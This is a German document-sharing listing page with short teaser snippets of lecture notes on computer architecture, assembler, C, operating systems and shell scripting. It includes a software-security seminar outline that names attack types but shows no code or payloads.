Grundlagen der Rechnerarchitektur

Grundlagen der Rechnerarchitektur Grundlagen der Rechnerarchitektur Einführung Unsere erste Amtshandlung: Wir schrauben einen Rechner auf Grundlagen der Rechnerarchitektur Einführung 2 Vorlesungsinhalte Binäre Arithmetik MIPS Assembler

Mehr

Einführung in die technische Informatik

Einführung in die technische Informatik Einführung in die technische Informatik Christopher Kruegel chris@auto.tuwien.ac.at http://www.auto.tuwien.ac.at/~chris Betriebssysteme Aufgaben Management von Ressourcen Präsentation einer einheitlichen

Mehr

Mikroprozessoren Grundlagen AVR-Controller Input / Output (I/O) Interrupt Mathematische Operationen

Mikroprozessoren Grundlagen AVR-Controller Input / Output (I/O) Interrupt Mathematische Operationen Mikroprozessoren Grundlagen Aufbau, Blockschaltbild Grundlegende Datentypen AVR-Controller Anatomie Befehlssatz Assembler Speicherzugriff Adressierungsarten Kontrollstrukturen Stack Input / Output (I/O)

Mehr

Daniel Betz Wintersemester 2011/12

Daniel Betz Wintersemester 2011/12 Daniel Betz Wintersemester 2011/12 Digitally signed by daniel.betz@daniel-betz.com Date: 2011.12.04 17:24:40 +01'00' Insgesamt 16 Register von je 16 Bit (=WORD) Breite Untere 8 Register auch als 2 Register

Mehr

4 Schleifen und Dateien

4 Schleifen und Dateien 4 Schleifen und Dateien 4.1 Übungsaufgabe 4.1.1 Aufgabe 1 Schreiben Sie drei C++ Programme: pword_for.cxx, pword_while.cxx, pword_do.cxx. Die Programme sollen den Benutzer höchstens 5 Mal nach einem Passwort

Mehr

Kompaktkurs C-Programmierung

Kompaktkurs C-Programmierung Kompaktkurs C-Programmierung 26. 03. 2007 Franz Schenk Organisatorisches Vorlesung Accountvergabe Skriptverkauf Übungen: zwei Blöcke (13:15-14:45 / 14:45-16:15) Gruppenübung Rechnerübung Klausur Ferien:

Mehr

Heute nur MIPS-Praxis (4 Aufgaben)

Heute nur MIPS-Praxis (4 Aufgaben) Themen heute Heute nur MIPS-Praxis (4 Aufgaben) Hinweis: Diese Aufgaben findet ihr auf den Übungsblättern zu den Tutorien (bei Aufgabe 4 wurde eine Teilaufgabe und im Tutorium #6 bereits geklärte Wissensfragen

Mehr

Installation & Usage. Version 1.0. estickflashtool

Installation & Usage. Version 1.0. estickflashtool Installation & Usage Version 1.0 estickflashtool Allgemeines Der estick ist ein USB basiertes Entwicklungs-Board für Atmel AT90USB162 Mikro-controller. Einfache, anschauliche Anwendungen und Beispiele

Mehr

Übung zu Grundlagen der Betriebssysteme. 3. Übung 30.10.2012

Übung zu Grundlagen der Betriebssysteme. 3. Übung 30.10.2012 Übung zu Grundlagen der Betriebssysteme 3. Übung 30.10.2012 Aufgabe 1 Schließen Sie sich über die URL http://userpages.uni-koblenz.de/~mips/bs/anmeldung/ Bearbeitungsgruppen bestehend aus 3 Teilnehmern

Mehr

Betriebssysteme KU - Einführungstutorium

Betriebssysteme KU - Einführungstutorium Betriebssysteme KU - Einführungstutorium SWEB-Tutoren irc://irc.at.euirc.net/bs Teamwork Arbeitsaufteilung? Zeiteinteilung? Codeeinteilung? Kommunikation! Kommunikation Kommunikation mit dem Team Gruppentreffen

Mehr

Einführung zum MS Visual Studio

Einführung zum MS Visual Studio 0 Visual Studio Verzeichnispfade einstellen Stellen Sie nach dem Start von Visual Studio zunächst Ihr Home-Laufwerk, d.h. den Pfad für Ihre Projektverzeichnisse und Dateien ein. Beenden Sie Visual Studio

Mehr

Assembler-Programme. Systemprogrammierung (37-023) Elementare Komponenten eines Assembler-Programmes

Assembler-Programme. Systemprogrammierung (37-023) Elementare Komponenten eines Assembler-Programmes Systemprogrammierung (37-023) Assemblerprogrammierung Betriebssystemgrundlagen Maschinenmodelle Dozent: Prof. Thomas Stricker krankheitshalber vertreten durch: Felix Rauch WebSite: http://www.cs.inf.ethz.ch/37-023/

Mehr

Instruktionssatz-Architektur

Instruktionssatz-Architektur Institut für Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg WS 2005/2006 Übersicht 1 Einleitung 2 Bestandteile der ISA 3 CISC / RISC Übersicht 1 Einleitung 2 Bestandteile

Mehr

Grundlagen der Programmierung

Grundlagen der Programmierung Grundlagen der Programmierung 5. Vorlesung 09.11.2016 1 Beispiel: Hello World #include Beginn Hauptprogramm int main() { Blockbeginn printf("hello World\n"); Einbinden der Headerdatei(en) für

Mehr

Die Mikroprogrammebene eines Rechners

Die Mikroprogrammebene eines Rechners Die Mikroprogrammebene eines Rechners Das Abarbeiten eines Arbeitszyklus eines einzelnen Befehls besteht selbst wieder aus verschiedenen Schritten, z.b. Befehl holen Befehl dekodieren Operanden holen etc.

Mehr

FAKULTÄT FÜR INFORMATIK

FAKULTÄT FÜR INFORMATIK FAKULTÄT FÜR INFORMATIK TECHNISCHE UNIVERSITÄT MÜNCHEN Lehrstuhl für Rechnertechnik und Rechnerorganisation Prof. Dr. Arndt Bode Einführung in die Rechnerarchitektur Wintersemester 2016/2017 Tutorübung

Mehr

4D Server v12 64-bit Version BETA VERSION

4D Server v12 64-bit Version BETA VERSION 4D Server v12 64-bit Version BETA VERSION 4D Server v12 unterstützt jetzt das Windows 64-bit Betriebssystem. Hauptvorteil der 64-bit Technologie ist die rundum verbesserte Performance der Anwendungen und

Mehr

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010

Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 1 Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 Hausarbeit Thema: Computersicherheit Seminar: Datenschutz und Datenpannen Verfasser: Dmitrij Miller Abgabetermin: 5.3.2010

Mehr

Shell-Scripting Linux-Kurs der Unix-AG

Shell-Scripting Linux-Kurs der Unix-AG Shell-Scripting Linux-Kurs der Unix-AG Andreas Teuchert 8. Juli 2014 Was ist ein Shell-Script? Aneinanderreihung von Befehlen, die ausgeführt werden Bedingte und wiederholende Ausführung möglich Nützlich

Mehr

Welche Informatik-Kenntnisse bringen Sie mit?

Welche Informatik-Kenntnisse bringen Sie mit? Welche Informatik-Kenntnisse bringen Sie mit? So gehen Sie vor! Lösen Sie die Aufgaben der Reihe nach von 1 bis 20, ohne das Lösungsblatt zur Hilfe zu nehmen. Der Schwierigkeitsgrad der Aufgaben nimmt

Mehr

Zeiger, Arrays und Strings in C und C++

Zeiger, Arrays und Strings in C und C++ Zeiger, Arrays und Strings in C und C++ 1 Zeiger in Java und C/C++ Zeigervariable (kurz: Zeiger, engl.: pointer): eine Variable, die als Wert eine Speicheradresse enthält Java: Zeiger werden implizit für

Mehr

Early first draft Höllische Programmiersprachen Seminar im WS 2014/15 Speichermanagement

Early first draft Höllische Programmiersprachen Seminar im WS 2014/15 Speichermanagement Early first draft Höllische Programmiersprachen Seminar im WS 2014/15 Speichermanagement Max Haslbeck Technische Universität München 20.01.2015 Zusammenfassung 1 Einleitung 2 Begriffsklärung Heutzutage

Mehr

Software Security. Andreas Kostecka Alexander Miller Patrick Rappensberger

Software Security. Andreas Kostecka Alexander Miller Patrick Rappensberger Software Security Andreas Kostecka Alexander Miller Patrick Rappensberger Inhalt Buffer Overrruns Integer Overflows Heap-Overflow Attack Format String Attack SQL Injection Buffer Overrruns Was ist 'Buffer

Mehr

Kap 4. 4 Die Mikroprogrammebene eines Rechners

Kap 4. 4 Die Mikroprogrammebene eines Rechners 4 Die Mikroprogrammebene eines Rechners Das Abarbeiten eines Arbeitszyklus eines einzelnen Befehls besteht selbst wieder aus verschiedenen Schritten (Befehl holen, Befehl dekodieren, Operanden holen etc.).

Mehr

Deklarationen in C. Prof. Dr. Margarita Esponda

Deklarationen in C. Prof. Dr. Margarita Esponda Deklarationen in C 1 Deklarationen Deklarationen spielen eine zentrale Rolle in der C-Programmiersprache. Deklarationen Variablen Funktionen Die Deklarationen von Variablen und Funktionen haben viele Gemeinsamkeiten.

Mehr

AuD-Tafelübung T-B5b

AuD-Tafelübung T-B5b 6. Übung Sichtbarkeiten, Rekursion, Javadoc Di, 29.11.2011 1 Blatt 5 2 OOP Klassen Static vs. Instanzen Sichtbarkeit 3 Stack und Heap Stack Heap 4 Blatt 6 1 Blatt 5 2 OOP Klassen Static vs. Instanzen Sichtbarkeit

Mehr

C Überlebenstraining

C Überlebenstraining C Überlebenstraining Dies ist nur ein Schnellkurs in C, der genug Einstiegswissen vermitteln soll, daß weiterführende Literatur schnell benutzt werden kann. Dies ist kein vollständiger Programmier oder

Mehr

Wie groß ist die Page Table?

Wie groß ist die Page Table? Wie groß ist die Page Table? Im vorigen (typischen) Beispiel verwenden wir 20 Bits zum indizieren der Page Table. Typischerweise spendiert man 32 Bits pro Tabellen Zeile (im Vorigen Beispiel brauchten

Mehr

68000 Assembler. WAS ist ein Assembler? Ein System, das den Programmierer hilft, eine maschinennahe Programmierung zu realisieren.

68000 Assembler. WAS ist ein Assembler? Ein System, das den Programmierer hilft, eine maschinennahe Programmierung zu realisieren. WAS ist ein Assembler? Ein System, das den Programmierer hilft, eine maschinennahe Programmierung zu realisieren. Ein Programm liegt der CPU in binärer Form vor und wird durch den Assembler in einer primitiven

Mehr

Technische Informatik II Rechnerarchitektur

Technische Informatik II Rechnerarchitektur Technische Informatik II Rechnerarchitektur 3.Unterprogramme in MMIX Matthias Dräger E-Mail: www: mdraeger@mi.fu-berlin.de www.matthias-draeger.info/lehre/sose2010ti2/ tinyurl.com/sose2010ti2 Zuletzt bearbeitet:

Mehr